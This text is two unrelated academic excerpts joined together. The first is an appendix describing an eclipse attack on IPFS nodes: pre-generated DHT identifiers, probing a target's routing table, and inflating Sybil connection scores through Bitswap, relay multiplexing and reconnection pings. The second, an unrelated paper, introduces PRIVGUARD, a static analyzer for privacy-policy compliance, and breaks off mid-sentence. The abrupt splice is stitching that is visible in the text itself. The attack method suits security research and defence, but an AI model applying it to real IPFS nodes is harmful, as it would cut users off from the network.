bits of the DHT identifier corresponding to the key, along with
this identifier. This set of pre-generated identifiers amounts to
29TB of data and encompasses ≈ 146Bn individual IDs. Still,
it is possible to efficiently query this database, as the number
of entries per file remains manageable. A dedicated service in
charge of producing keys and identifiers corresponding to any
node’s lowest 33+ DHT buckets, based on the target node’s
ID as input. Answering a query takes less than five minutes30.

B.2 Probing
In order to carry out our attack, ways to continuously probe
an attack target’s state are required. Additionally, some static
parameters are needed during the attack’s setup phase.

Setup Phase Naturally, an attack target’s IP address is re-
quired to connect to it. This information is obtained by op-
erating a regular IPFS node that is connected to the IPFS
network, This node is used to query the target’s IP address,
which is then fed into the actual attack carried out on a distinct
machine.

Moreover, the bucket size of the target’s routing table is
required in order to advertise a precisely distributed set of
identifiers for routing table poisoning. Querying the target for
any identifier will trigger a response containing bucketSize
many peers, thus providing this information.

While lowWater and highWater marks are theoretically
required to perform our attacks, choosing too high values has

29 Since identifiers are hashed prior to calculating distances, lack of ran-
domness in the raw key material is not an issue. 30 This could be further
sped-up thorugh parallelisation.

no impact on attack success rates, but only consumes more re-
sources than necessary. Given that even critical infrastructure
like bootstrap nodes use values of 1000 and 2000, respectively,
this does not cause any real issues with respect to attack per-
formance. However, simply starting with those values and
and observing the impact of connection trimming allows for
detecting values set too high, which enables reducing each
value accordingly.

The interval for the ConnMgr’s connection trimming rou-
tine is hardcoded to 1 minute. However, detecting disconnect
waves when maintaining hundreds of open connections is
trivial, as our attack operates a little over highWater many
connections to ensure that disconnect waves are triggered.
The grace period used to protect newly established connec-
tions is irrelevant for our attack and is thus not probed.

Our attack targets the latest IPFS version (0.4.23) released
as of April 27, 2020. Earlier versions are even easier to eclipse.
However, our attack performs a strict superset of the actions
required to eclipse earlier versions and thus requires no knowl-
edge of the attack target’s IPFS version, except for increased
efficiency. Still, the IPFS protocol defines a message to re-
motely query a node’s version.

Continuous Probing Our attack requires knowledge about
the target’s routing table. In essence, we need to know which
buckets are occupied by honest nodes, in order to outperform
these nodes from the ConnMgr’s point fo view. As mentioned
before, the target will respond with bucketSize many closest
peers to any query for other peers. We can thus simply tra-
verse the set of pre-generated identifiers used for poisoning
the target’s routing table and query for one identifier in each
bucket. This way, it is possible to construct a contiguous view
of the target’s routing table and know precisely which nodes
occupy which buckets. Given that our pre-generated ID set
consists of ≈146Bn nodes, this easily covers all realistically
possible routing table configurations that can ever be encoun-
tered. These queries are performed once during each attack
loop.

B.3 Gaming the ConnMgr
This section describes the main attack loop and the actions
performed to trick a victim’s ConnMgr. The overall goal is
to raise the score of the connections made by an attacker
above the highest score of any legitimate node connected to
the victim. Based on observation of live IPFS nodes, the score
of connections to honest peers will usually range from 0 to
around 20. In order to reach this goal, our attack strategy re-
lies on three sources of points to game the ConnMgr:
DHT: Each node that occupies a DHT spot is awarded points
according to Eq 2. The amount of identifiers we pre-generate
is several orders of magnitude larger than the number of nodes
participating in the live IPFS DHT. Because of this, simply
connecting using these IDs is enough to be assigned a spot
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in the target’s DHT, as most buckets for those identifiers will
be empty. We can therefore maintain more than 400 connec-
tions31 that will be awarded enough points to become resident
in the target’s swarm. This, however, is significantly less than
the required default lowWater value of 600.
Bitswap: As mentioned in Section 3.2, Bitswap awards points
for unsolicited content advertisement (which is understand-
able from a content-distribution perspective). We exploit this
by continuously advertising an empty block of data. This is
cheap for an attacker, since sending such a message every
few seconds suffices, with no need to process responses and
results in 10-16 points. Other ways of inflating a connection’s
score based on Bitswap include re-sending blocks a target
previously requested.
Relaying: A virtually unlimited source of ConnMgr points
is the relaying subsystem that is used to help nodes located
behind NATs or firewalls reach the network. For one, simply
advertising relaying capabilities to the target already awards
a fixed amount of two points. More importantly, however, ac-
tively relaying connections from and to the target awards one
point for each relayed connection. Given that libp2p supports
multiplexing many virtual connections over a single (TCP)
link, the number of available ports is not a limiting factor
for this strategy. Initial experiments have shown that > 1000
connections can be multiplexed over a single link.
This last method of obtaining points can be especially devas-
tating, since finding a countermeasure is challenging. While
pathological cases like those from our initial experiments
could be detected using heuristics, the general strategy of
considering a link supporting many relayed connections im-
portant is understandable, especially in real-world settings
that include firewalls and NATs. The required resources for
creating a relayed connection are minimal: The only thing
that is really required is a (randomly generated) key pair to
obtain a valid self-certifying node identifier. This is then used
during the initial handshake when establishing an end-to-end-
encrypted connection. While this comprises computationally
somewhat expensive asymmetric cryptographic operations,
these have to be performed only once during connection es-
tablishment. Overhead for the node acting as relay is also
moderate. Given that our attack strategy is based on perform-
ing a Sybil attack from a single host no actual links between
relay and relayed nodes are required, since these nodes are,
in fact, virtual.

When combining this way of inflating connection scores
with the continuous probing of a target’s routing table, a
highly efficient attack behaviour can be implemented.

In order to occupy all spots in the target’s routing table and,
subsequently, eclipse the whole swarm, any nodes previously
connected need to be outperformed. However, fully poisoning
the routing table is prioritised, since the DHT is used for peer
discovery and content routing beyond content distribution. In
31 The remainder of these connections are initially outperformed by honest
ones.

order to accomplish this, estimate the highest score of any
honest node connected to the target as follows:

1. Based on the routing table information, we calculate the
highest score over all legitimate peers that reside in the
target’s routing table according to Eq. 2.

2. We consider a safety margin of 10 points, meaning that
we assume that each honest peer has an additional 10
points awarded from other subsystems, such as Bitswap.
We apply this margin regardless of whether an honest
peer is resident in the target’s routing table or simply
part of the swarm.

3. These two numbers are then added to arrive at the target
score that needs to be beaten by at least lowWater many
of our malicious nodes in order to have the target’s Con-
nMgr trim all connections to honest nodes (except for
those within the grace period).

4. In order to reach this score, we traverse the set of our ma-
licious nodes and start relaying connections to randomly
generated virtual nodes as required. We prioritise those
of our nodes that are based on pre-generated identifiers,
referred to as DHT nodes to fill the target’s routing table.
If this is not sufficient (which is the case for higher-
than-usual lowWater marks), we also boost the score
of the random nodes that are run to reach highWater
many connections to trigger the ConnMgr’s disconnect
routine.

Careful observation might suggest that precise probing of
the target’s lowWater mark is required, since a too high es-
timate would cause those of our nodes that should occupy
the lower buckets to be disconnected by the ConnMgr. While
this is technically correct, our nodes reconnect to the target
within milliseconds. This leaves only an extremely short win-
dow of opportunity for honest nodes to slip into the target’s
routing table. This is due to the fact that routing table spots
that become vacant during a disconnect wave are not auto-
matically filled by remaining connections. Instead, the DHT
component of libp2p only reacts to a well-defined set of mes-
sages to insert peers into a node’s routing table. One such
message is a ping. We exploit this behaviour and re-establish
any severed connection as soon as the ConnMgr executes its
connection trimming routine and ping the target from all still
connected nodes at the same time. As elaborated in Section 5,
we have evaluated this strategy to be effective, as fully occu-
pying any node’s routing table takes mere minutes. Moreover,
completely eclipsing nodes with≈ 75% probability takes less
than an hour. In effect, this results in overall low costs, even
when seeking to disrupt the complete public DHT-based IPFS
network.
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Abstract
Continuous compliance with privacy regulations, such as
GDPR and CCPA, has become a costly burden for com-
panies from small-sized start-ups to business giants. The
culprit is the heavy reliance on human auditing in today’s
compliance process, which is expensive, slow, and error-
prone. To address the issue, we propose PRIVGUARD,
a novel system design that reduces human participation
required and improves the productivity of the compliance
process. PRIVGUARD is mainly comprised of two com-
ponents: (1) PRIVANALYZER, a static analyzer based on
abstract interpretation for partly enforcing privacy reg-
ulations, and (2) a set of components providing strong
security protection on the data throughout its life cycle.
To validate the effectiveness of this approach, we proto-
type PRIVGUARD and integrate it into an industrial-level
data governance platform. Our case studies and evalu-
ation show that PRIVGUARD can correctly enforce the
encoded privacy policies on real-world programs with
reasonable performance overhead.

1 Introduction

With the advent of privacy regulations such as the EU’s
General Data Protection Regulation (GDPR) and Cal-
ifornia Consumer Privacy Act (CCPA), unprecedented
emphasis is put on the protection of user data. This is
a positive development for data subjects, but presents
major challenges for compliance. Today’s compliance
paradigm relies heavily on human auditing, and is prob-
lematic in two aspects. First, it is an expensive process to
hire and train data protection personnel and rely on man-
ual effort to monitor compliance. According to a report
from Forbes [12], GDPR cost US Fortune 500 companies
$7.8 Billion as of May 25th, 2018. Another report from
DataGrail [4] shows that 74% of small- or mid-sized

organizations spent more than $100,000 to prepare for
continuous compliance with GDPR and CCPA. Second,
human auditing is slow and error-prone. The inefficiency
of compliance impedes the effective use of data and hin-
ders productivity. Errors made by compliance officers
can harm data subjects and result in legal liability.

An ideal solution would enable data curators to easily
ensure fine-grained compliance with minimal human par-
ticipation and quickly adapt to new changes in privacy
regulations. A significant amount of academic work seeks
to address this challenge [2, 30, 32, 42, 43, 51, 53, 55, 57].
The European ICT PrimeLife project proposes to encode
regulations using Primelife Policy Language (PPL) [55]
and enforce them by matching the policies with user-
specified privacy preferences and triggering obligatory
actions when detecting specific behaviors. A-PPL [30]
extends the PPL language by adding accountability rules.
These two pioneering works play important roles in the
exploration of efficient policy compliance. However, as
they focus on Web 2.0 applications, they provide limited
support for fine-grained privacy requirement compliance
in complex data analysis tasks. The SPECIAL project [2]
partly inherits the design of the PPL project and, as a
result, suffers from similar limitations. The closest to our
work is by Sen et al. [53], which proposed a formal lan-
guage (LEGALEASE) for privacy policies and a system
(GROK) to enforce them. However, GROK uses heuristics
to help decide whether the analysis process is compliant
with a policy and human auditing is required to catch
false-negatives. Thus, effective compliance with privacy
regulations at scale remains an important challenge.

PRIVGUARD: Facilitating Compliance. This paper de-
scribes a principled data analysis framework called PRIV-
GUARD to reduce human participation in the compliance
process. PRIVGUARD works in a five-step pipeline under
the protection of cryptographic tools and trusted execu-
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tion environments (TEEs).
First, data protection officers (DPOs), legal experts,

and domain experts collaboratively translate privacy reg-
ulations into a machine-readable policy language. The
translation process is application-specific and requires
domain-specific knowledge in both the application and
the privacy regulation (e.g. mapping legal concepts to
concrete fields.). The encoded policy is referred to as the
base policy. Encoding the base policy is the step with the
most human effort in PRIVGUARD’s workflow.

Second, before the data is collected, the data subjects
are aided by a client-side API to specify their privacy
preferences. They can either directly accept the base pol-
icy or add their own privacy requirements. The privacy
preferences are collected together with the data.

Third, data analysts submit programs to analyze the
collected data. Analysts are required to submit a cor-
responding guard policy no weaker than the base pol-
icy along with their program. Only data with policy no
stronger than the guard policy can be used.

Fourth, our proposed static analyzer, PRIVANALYZER,
examines the analysis program to confirm its compliance
with the guard policy. At the same time, the subset of the
data whose privacy preferences are no stronger than the
guard policy will be loaded to conduct the real analysis.

Finally, depending on the output of PRIVANALYZER,
the result will be either declassified to the analyst or
guarded by the remaining unsatisfied privacy require-
ments (called a residual policy).
Extension of LEGALEASE: Encoding Policies. PRIV-
GUARD is designed to be compatible with many machine-
readable policy languages such as [30, 55]. In this work,
we instantiate our implementation with LEGALEASE [53]
due to its readability and extensibility. We extend
LEGALEASE [53] by providing new attribute types, in-
cluding attributes requiring the use of privacy-enhancing
technologies like differential privacy.
PRIVANALYZER: Enforcing Policies. The core com-
ponent of PRIVGUARD is PRIVANALYZER, a static an-
alyzer checking the compliance of an analysis program
with a privacy policy. PRIVANALYZER performs static
analysis of the programs submitted by analysts to check
their compliance with the corresponding guard policies.

In contrast to previous approaches relying on access
control [28] or manual verification [2, 36, 53], PRIVANA-
LYZER is a novel policy enforcement mechanism based
on abstract interpretation [49]. PRIVANALYZER does
not rely on heuristics to infer policy or program seman-
tics, and provides provable soundness for some proper-
ties. PRIVANALYZER examines only the program and
the policy (not the data), so the use of PRIVANALYZER

does not reveal the content of the data it protects. Our
approach works for general-purpose programming lan-
guages, including those with complex control flow, loops,
and imperative features. Thus, PRIVANALYZER is able to
analyze programs as written by analysts—so analysts do
not need to learn a new programming language or change
their workflows. We instantiate our implementation with
Python, one of the most widely used programming lan-
guages for data analysis.

We implemented PRIVANALYZER in about 1400 lines
of Python and integrated it in an industrial-level data
governance platform to prototype PRIVGUARD. We eval-
uated the prototype experimentally on 23 open-source
Python programs that perform data analytics and ma-
chine learning tasks. The selected programs leverage
popular libraries like Pandas, PySpark, TensorFlow, Py-
Torch, Scikit-learn, and more. Our results demonstrate
that PRIVGUARD is scalable and capable of analyzing
unmodified Python programs, including programs that
make extensive use of external libraries.
Contributions. In brief, this paper makes the following
contributions.
• We propose PRIVGUARD, a novel framework for pri-

vacy regulation compliance minimizing human effort.
• We propose PRIVANALYZER, a static analyzer based

on abstract interpretation for enforcing privacy poli-
cies on unmodified analysis programs.

• We implemented PRIVANALYZER for LEGALEASE
and Python in about 1400 lines of Python. Our imple-
mentation supports commonly-used analysis libraries
such as Pandas, Scikit-learn, etc.

• We prototyped PRIVGUARD by integrating PRIVANA-
LYZER in PARCEL, an industrial-level data governance
platform. We simulated the execution of PRIVGUARD
with up to one million clients and the results show that
PRIVGUARD incurs about two-minute overhead when
dealing with one million clients.

2 PRIVGUARD Overview
In this section, we outline the design and implementation
of PRIVGUARD. We first walk through PRIVGUARD
using a toy example and then introduce the system design
and implementation. As last, the threat model and the
security of PRIVGUARD are discussed.

2.1 A Toy Example
We use a toy example to demonstrate the workflow of
PRIVGUARD, which also allows us to present the main
components used. A company launches a mobile ap-
plication and collects user data to help make informed
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business decisions. To facilitate compliance with privacy
regulations, the company deploys PRIVGUARD to protect
the collected data.

First, the DPOs, legal experts, and domain experts en-
code two requirements in the base policy: (1) minors’
data shall not be used in any analysis; (2) any statistics
on the data shall be protected using differential privacy.

Second, the privacy preferences are collected from
the data subjects together with the data. Some data sub-
jects (Group 1) trust the company and directly accept the
base policy. Some (Group 2) are more cautious and want
their zip codes to be redacted before analysis. The others
(Group 3) do not trust the company and do not want their
data to be used for purposes except for legitimate interest.

Third, a data analyst wants to survey the user age dis-
tribution. It specifies a guard policy, that besides the base
policy, zip codes shall not be used in the analysis either.
The analyst submits a program calculating the user age
histogram to PRIVGUARD. She remembers to filter out
all the minor information and redact the zip code field but
forgets to protect the program with differential privacy.

Fourth, PRIVGUARD uses PRIVANALYZER to exam-
ine the privacy preferences and loads data of Group 1 and
2 into the TEE as their privacy preferences are no stricter
than the guard policy. PRIVGUARD runs the program and
saves the resulting histogram. However, after examining
the program and the guard policy, PRIVGUARD finds that
the program fails to protect the histogram with differen-
tial privacy. Thus, the histogram is encrypted, dumped to
the storage layer and guarded by a residual policy indi-
cating that differential privacy should be applied before
the result can be declassified.

Lastly, PRIVGUARD outputs the residual policy to the
analyst. The analyst, after checking the residual policy,
submits a program which adds noise to the histogram to
satisfy differential privacy. PRIVGUARD then decrypts
the histogram, loads it into TEE, and executes the pro-
gram to add noise to it. This time, PRIVGUARD finds
that all the requirements in the guard policy are satisfied,
so it declassifies the histogram to the analyst.

2.2 System Design

Base Policy Encoding. Encoding the base policy is the
step with the most human participation in PRIVGUARD’s
workflow. The base policy should be designed collabo-
ratively by DPOs, legal experts, and domain experts to
accurately reflect the minimum requirements of the pri-
vacy regulation. Note that only one base policy is needed
for each data collection and can be reused throughout all
the analyses on the data. The purpose of the base policy is

ALLOW ROLE
Physician

ALLOW SCHEMA
HealthInformation

AND FILTER age < 90
AND REDACT zip

(a) General encoding.

ALLOW ROLE
Physician

ALLOW SCHEMA
SerumCholestoral

AND FILTER age < 90

(b) Concrete encoding.

Figure 1: Encoding of several HIPAA requirements.

two-fold. First, the text version of the base policy is to be
presented to data subjects as the minimum privacy stan-
dard before they opt in the data collection. Second, the
data analysts need to understand the base policy before
conducting analysis. If their analysis satisfies a stricter
privacy standard, they can specify their own guard policy
to take advantage of more user data.

We demonstrate the encoding process using a subset
of the HIPAA safe harbor method1 (Figure 1). The DPOs
and legal experts first encode the regulation in a general
way without considering concrete data format. As shown
in Figure 1a, the first clause (line 1-2) allows the patient’s
physician to check his or her data. The second clause
(lines 3-7) represents some safe harbor requirements:
health information may be released if the subject is under
90 years old and the zip codes are removed. Then the
DPOs and domain experts map the encoding to a concrete
data collection by introducing real schemas and removing
unnecessary requirements. For example, in Figure 1b,
HealthInformation is replaced with a concrete column name
in the dataset, SerumCholestoral, and the last requirement is
removed as the dataset does not contain zip codes.
Data & Privacy Preference Collection. Besides the
base policy, the data subjects can also specify additional
privacy preferences to exercise their rights to restrict pro-
cessing. These privacy preferences are sent to the data
curator along with the data, where they will be kept to-
gether in the storage layer. To defend against attacks dur-
ing transmission and storage, the data is encrypted before
sent to the data curator. The decryption key is delegated
to a key manager for future decryption (Section 2.3).

A natural question is "how much expertise is needed
to specify privacy preferences in LEGALEASE?" Sen et
al. [53] conducted a survey targeting DPOs and found
that the majority were able to correctly code policies
after training. To complement their survey and better un-
derstand how much expertise is needed, we conducted
an online survey targeting general users without train-

1Recent research has shown that the approach prescribed in HIPAA
does not really protect the privacy of individuals. In the future, we
expect that many data subjects will add a PRIVACY attribute requiring
the use of a provable privacy technology like differential privacy.
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ing. The survey reveals two interesting facts: (1) there
is a significant positive correlation between the diffi-
culty of understanding and encoding LEGALEASE poli-
cies and the user’s familiarity with other programming
languages; (2) most users cannot correctly understand
privacy techniques such as differential privacy without
training. According to these observations, we strongly
recommend the users without programming experience
directly accept the base policy instead of encoding their
own. Although out of scope, we deem it important future
direction to simplify privacy preference specification by
developing more user-friendly UI and translation tools.
The details of the survey are deferred to Appendix B.
Analysis Initialization. To initialize an analysis task,
the analyst needs to submit (1) the analysis program, and
(2) a guard policy, to PRIVANALYZER. A guard policy
should be no weaker than the base policy to satisfy the
minimum privacy requirements. The stricter the guard
policy is, the more data can be used for analysis.
PRIVANALYZER Analysis. After receiving the submis-
sion, PRIVANALYZER will load the privacy preferences
from the storage layer and compare them with the guard
policy. Only the data with preferences no stricter than
the guard policy will be loaded into the TEE, decrypted
using keys from the key manager, and merged to pre-
pare for the real analysis. Meanwhile, PRIVANALYZER
will (1) check that the guard policy is no weaker than
the base policy and (2) then examine the guard policy
and the program to generate the residual policy. To make
sure the static analysis runs correctly, PRIVANALYZER is
protected inside a trusted execution environment (TEE).

The compliance enforcement actually hinges on three
checks: (1) the guard policy is no weaker than the base
policy; (2) only data with privacy preferences no stronger
than the guard policy is used; (3) the guard policy should
be satisfied before declassification. For (3), the guard
policy can be satisfied either by a single program or by
multiple programs applied sequentially on the data. This
design endows PRIVGUARD with the ability to enforce
privacy policies in multi-step analyses.
Execution & Declassification. After PRIVANALYZER
finishes its analysis, the submitted program will be ex-
ecuted with the decrypted data inside the TEE. If the
residual policy generated in the previous step is empty,
then the result can be declassified to the analyst. Other-
wise, the output will be encrypted again and stored in the
storage layer protected by the residual policy.

Attentive readers might ask “why does PRIVGUARD
not directly reject programs that fail to comply with the
guard policy?” The design choice is motivated by two
considerations. First, it is not always possible to get an

Figure 2: PRIVGUARD prototype infrastructure. White:
data/policies; green: analysis programs; blue: off-the-
shelf components; yellow: newly-designed components.

empty residual policy when the guard policy contains
ROLE or PURPOSE attributes. These attributes will be sat-
isfied by human auditing after the real data analysis. Sec-
ond, PRIVGUARD is designed to be compatible with
multi-step analysis, a common case in real-world product
pipelines. In multi-step analysis, it is likely that privacy
requirements are satisfied in different steps.

2.3 System Security

In this section, we present the threat model and demon-
strate how to secure PRIVGUARD under the threat model.
Threat Model. Our setting involves four parties - (1)
data subjects (e.g. users), (2) a data curator (e.g. web ser-
vice providers, banks, or hospitals), (3) data analysts (e.g.
employees of the data curator), and (4) untrusted third
parties (e.g. external attackers). Data is collected from
data subjects, managed by the data curator, and analyzed
by data analysts. Both the data subjects and the data cu-
rator would like to comply with privacy regulations to
either protect their own data or avoid legal or reputational
risk. The data analysts, however, are honest but reckless,
and might unintentionally write programs that violate
privacy regulations. The only way that a data analyst
can interact with the data is to submit analysis programs
and check the output. The untrusted third parties might
actively launch attacks to steal the data or interfere with
the compliance process. A concrete example is the cloud
provider which hosts a small company’s service or data.
We protect data confidentiality and execution integrity
from third parties under the following two assumptions.
First, we assume that the untrusted third parties cannot
submit analysis programs to PRIVANALYZER or com-
promise insiders to do so. Second, we assume that the
untrusted third parties fit in the threat model of the cho-
sen TEE so that they cannot break the security guarantee
of the TEE.
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Security Measure. PRIVGUARD takes the following
measures to defend against untrusted third parties and
establish a secure workflow under the above threat model.
First, data is encrypted locally by the data subjects before
transmitted to the data curator. The decryption key is
delegated to the key manager so no one can touch the
data intentionally or carelessly without asking the key
manager or the data subject for the decryption key. To
bind data and policy in an immutable way, the encrypted
data contains a hash value of the corresponding policy.
Second, all transmission channels satisfy transport layer
security standards (TLS 1.3). Third, PRIVANALYZER is
run inside a TEE to guarantee the integrity of the static
analysis. The key manager can attest remotely to con-
firm that PRIVANALYZER correctly examines the pro-
gram and the policies before issuing the decryption key.
Fourth, data decryption and analysis program execution
are protected inside the TEE as well.

Security of PRIVGUARD against untrusted third-
parties is based on the following sources of trust. First,
confidentiality and integrity of data are preserved inside
TEE and TLS channels. Second, the integrity of code ex-
ecution is preserved inside the TEE. Remote attestation
can correctly and securely report the execution output.
Third, the key manager is completely trusted such that
the confidentiality of decryption keys is preserved. The
design of trusted key managers is orthogonal to the focus
of the paper. Potential solutions include a key manager
inside TEE or a decentralized key manager [44].

3 PRIVANALYZER: Static Analysis for En-
forcing Privacy Policies

This section describes PRIVANALYZER, a static ana-
lyzer for enforcing the privacy policies tracked by PRIV-
GUARD. We first review the LEGALEASE policy lan-
guage [53], which we use to encode policies formally,
then describe how to statically enforce them. The formal
model is deferred to Appendix A.

3.1 Background & Design Challenges
LEGALEASE is one example of a growing body of work
that has explored formal languages for encoding privacy
policies [31, 32, 36, 39, 42, 43, 51, 53, 56, 57]. A complete
discussion of related work appears in Section 5. We adopt
LEGALEASE to express PRIVGUARD policies due to its
expressive power, formal semantics, and extensibility.

Sen et al. [53] developed a system called GROK
that combines static and dynamic analyses to enforce
LEGALEASE policies. GROK constructs a data depen-
dency graph which encodes all flows of sensitive data,

attr ∈ ROLE, SCHEMA, PRIVACY, FILTER,
REDACT,PURPOSE

A ∈ attribute ::= attr attrValue
C ∈ policy clause ::= A | A AND C | A OR C
P ∈ policy ::= (ALLOW C)+

Figure 3: Policy language surface syntax

then applies a set of inference rules to check that each
node in the graph satisfies the policy. GROK combines
analysis of system logs with limited static analysis to
construct the graph.

The GROK approach presents two challenges. First,
the approach is a heuristic: it examines syntactic prop-
erties of the program and individual executions of the
program (via system logs), and thus may miss policy
violations due to implicit flows [37, 48, 50, 59]. Second,
the GROK approach requires making the entire dataflow
graph explicit; in large systems with many data flows,
constructing this graph may be intractable.

PRIVANALYZER is designed as an alternative to ad-
dress both challenges. It uses static analysis based on
abstract interpretation instead of GROK’s heuristic anal-
ysis and avoids making the dataflow graph explicit by
constructing composable residual policies.

3.2 Policy Syntax & Semantics
PRIVANALYZER enforces privacy policies specified in
LEGALEASE [53], a framework for expressing policies
using attributes of various types. Attributes are organized
in concept lattices [3], which provide a partial order on
attribute values. We express policies according to the
grammar in Figure 3 (a slightly different syntax from
that of LEGALEASE). A policy consists of a top-level
ALLOW keyword followed by clauses separated by AND

(for conjunction) and OR (for disjunction). For example,
the following simple policy specifies that doctors or re-
searchers may examine analysis results, as long as the
records of minors are not used in the analysis:

ALLOW (ROLE Doctor OR ROLE Researcher)
AND FILTER age >= 18

Sen et al. [53] define the formal semantics of
LEGALEASE policies using a set of inference rules and
the partial ordering given by each attribute’s concept lat-
tice. We take the same approach, but use a new attribute
framework based on abstract domains [49] instead of
concept lattices. Our approach enables PRIVPOLICY to
encode policies with far more expressive requirements,
like row-based access control and the use of privacy-
enhancing technologies as described below.
Attributes. Attributes are the basic building blocks
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in LEGALEASE. Sen et al. [53] describe a set of use-
ful attributes. We extend this set with two new ones:
FILTER encodes row-based access control requirements,
and PRIVACY requires the use of privacy-enhancing tech-
nologies.
Role. The ROLE attribute controls who may examine the
contents of the data. Roles are organized into partially
ordered hierarchies. A particular individual may have
many roles, and a particular role specification may repre-
sent many individuals. For example, the doctor role may
represent doctors with many different specialties. The
following policy says that only individuals with the role
Oncologist may examine the data it covers:

ALLOW ROLE Oncologist

Schema. The SCHEMA attribute controls which columns
of the data may be examined. For example, the follow-
ing policy allows oncologists to examine the age and
condition columns, but no others:

ALLOW ROLE Oncologist
AND SCHEMA age, condition

Privacy. The PRIVACY attribute controls how the data
may be used, by requiring the use of privacy-enhancing
technologies. As a representative sample of the spec-
trum of available mechanisms, our implementation sup-
ports the following (with easy additions): (1) De-
identification (or pseudonymization); (2) Aggregation;
(3) k-Anonymity [54]; (4) `-diversity [41]; (5) t-
closeness [40]; (6) Differential privacy [33,34]. For exam-
ple, the following policy allows oncologists to examine
the age and condition columns under the protection of
differential privacy with certain privacy budget:

ALLOW ROLE Oncologist
AND SCHEMA age, condition
AND PRIVACY DP (1.0, 1e-5)

Filter. The FILTER attribute allows policies to specify that
certain data items must be excluded from the analysis.
For example, the following policy says that oncologists
may examine the age and condition of individuals over
the age of 18 with differential privacy:

ALLOW ROLE Oncologist
AND SCHEMA age, condition
AND PRIVACY DP (1.0, 1e-5)
AND FILTER age > 18

Redact. The REDACT attribute allows policies to require
the partial or complete redaction of information in a col-
umn. For example, the following policy requires analysis
to redact the last 3 digits of ZIP codes (e.g. by replac-
ing them with stars). The (2 : ) notation is taken from
Python’s slice and indicates the substring between the
third character and end of the string.

ALLOW ROLE Oncologist
AND SCHEMA age, condition

Figure 4: PRIVANALYZER Overview. PRIVANALYZER
inputs an analysis program and policies, and produces
residual policies; it can be applied repeatedly (dashed
line) for multi-step analyses.

AND PRIVACY DP (1.0, 1e-5)
AND FILTER age > 18
AND REDACT zip (2 : )

Purpose. The PURPOSE attribute allows the policy to
restrict the purposes for which data may be analyzed. For
example, the following policy allows the use of age and
medical condition for public interest purposes with all
the above requirements:

ALLOW ROLE Oncologist
AND SCHEMA age, condition
AND PRIVACY DP (1.0, 1e-5)
AND FILTER age > 18
AND REDACT zip (2 : )
AND PURPOSE PublicInterest

3.3 PRIVANALYZER Overview
PRIVANALYZER performs its static analysis via abstract
interpretation [49], a general framework for sound analy-
sis of programs. Abstract interpretation works by running
the program on abstract values instead of concrete (regu-
lar) values. Abstract values are organized into abstract
domains: partially ordered sets of abstract values which
can represent all possible concrete values in the program-
ming language. An abstract value usually represents a
specific property shared by the concrete values it repre-
sents. In PRIVANALYZER, abstract values are based on
the abstract domains described earlier.

Our approach to static analysis is based on a novel
instantiation of the abstract interpretation framework, in
which we encode policies as abstract values. The ap-
proach is summarized in Figure 4. The use of abstract
interpretation allows us to construct the static analysis
systematically, ensuring its correspondence with the in-
tended semantics of attribute values.
Analyzing Python Programs. The typical approach
to abstract interpretation is to build an abstract inter-
preter that computes with abstract values. For a complex,
general-purpose language like Python, this approach re-
quires significant engineering work. Rather than building
an abstract interpreter from scratch, we re-use the stan-
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dard Python interpreter to perform abstract interpretation.
We embed abstract values with attached privacy policies
as Python objects and define operations over abstract
values as methods on these objects.

For example, the Pandas library defines opera-
tions on concrete dataframes; PRIVANALYZER defines
the AbsDataFrame class for abstract dataframes. The
AbsDataFrame class has the same interface as the Pandas
DataFrame class, but its methods are redefined to compute
on abstract values with attached policies. We call the re-
defined method a function summary, since it summarizes
the policy-relevant behavior of the original method. For
example, the Pandas indexing function __getitem__ is
used for filtering, so PRIVANALYZER’s function sum-
mary for this function removes satisfied FILTER attributes
from the policy.

def __getitem__(self, key):
......

If isinstance(key, AbsIndicatorSeries):
# ‘ runFilter ‘ removes satisfied FILTER attributes
newPolicy = self . policy . runFilter (...)
return Dataframe(..., newPolicy)

......

Multi-step Analyses & Residual Policies. As shown in
Figure 4, the output of PRIVANALYZER is a residual pol-
icy. A residual policy is a new policy for the program’s
concrete output—it contains the requirements not yet sat-
isfied by the analysis program. For a multi-step analysis,
each step of the analysis can be fed into PRIVANALYZER
as a separate analysis program, and the residual policies
in the previous step become the input policies for the next
step. PRIVANALYZER is compositional: if multiple anal-
yses are merged together into a single analysis program,
then the final residual policy PRIVANALYZER returns for
the multi-step analysis will be at least as restrictive as
the one for the single-step version. The use of residual
policies in PRIVGUARD enables compositional analy-
ses without requiring explicit construction of a global
dataflow graph, addressing the challenge of GROK [53]
mentioned earlier.

Handling libraries. Scaling to large programs is a ma-
jor challenge for many static analyses, including abstract
interpreters. Libraries often present the biggest challenge,
since they tend to be large and complex; it may be im-
possible to analyze even a fairly small target program if
the program depends on a large library. This is certainly
true in our setting (Python programs for data process-
ing), where programs typically leverage large libraries
like pandas (327,007 lines of code), scikit-learn (184,144
lines of code), PyTorch (981,753 lines of code) and Ten-
sorflow (2,490,119 lines of code). Worse, many libraries
are written in a mix of languages (e.g. Python and C/C++)
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Figure 5: Python library frequency statistics. We summa-
rized the top frequently used libraries.

for performance reasons, so analysis for each one of these
languages would be needed.

Our solution is to develop specifications of the abstract
functionality of these libraries, like the AbsDataFrame ex-
ample shown earlier, in the form of function summaries.
We use the function summaries during analysis instead of
the concrete implementation of the library itself. This ap-
proach allows PRIVGUARD to enforce policies even for
analysis programs that leverage extremely large libraries
written in multiple languages.

Our approach for handling libraries requires a domain
expert with knowledge of the library to implement its
specification. In our experience, the data science com-
munity has largely agreed upon a core set of important
libraries which are commonly used (e.g. NumPy, pan-
das, scikit-learn, etc.), so providing specifications for a
small number of libraries is sufficient to handle most
programs. To validate the conjecture empirically, we ran-
domly selected 200 programs from the Kaggle platform
and counted the libraries they use (Figure 5). The results
confirmed that most data analysis programs use similar
libraries. We have already implemented specifications
for the most frequently used libraries (Section 4). Fortu-
nately, the abstract behavior for a library function tends
to be simpler than its concrete behavior. We have imple-
mented 380 function summaries mainly for Numpy, Pan-
das, and scikit-learn and are actively working on adding
more function summaries for various libraries.

We require correct specifications to rigorously enforce
privacy policies. An illustrative example of the impor-
tance of correctly implementing specifications is the re-
naming function. Cunning inside attackers may want to
bypass the static analysis by renaming sensitive columns.
A correct specification which renames the columns in
both the schema and the privacy clauses should miti-
gate such attacks. To mitigate risks due to such errors,
function summaries should be open-sourced so the com-
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munity can help check their correctness.
Comparison with dynamic approaches. Our choice
of a static analysis for PRIVANALYZER is motivated by
two major advantages over dynamic approaches: (1) the
ability to handle implicit data flows, and (2) the goal of
adding minimal run-time overhead. The ability to de-
tect implicit flows is a major advantage of static analysis
systems [37, 48, 50, 59], including PRIVANALYZER. Un-
like dynamic approaches, PRIVANALYZER cannot be
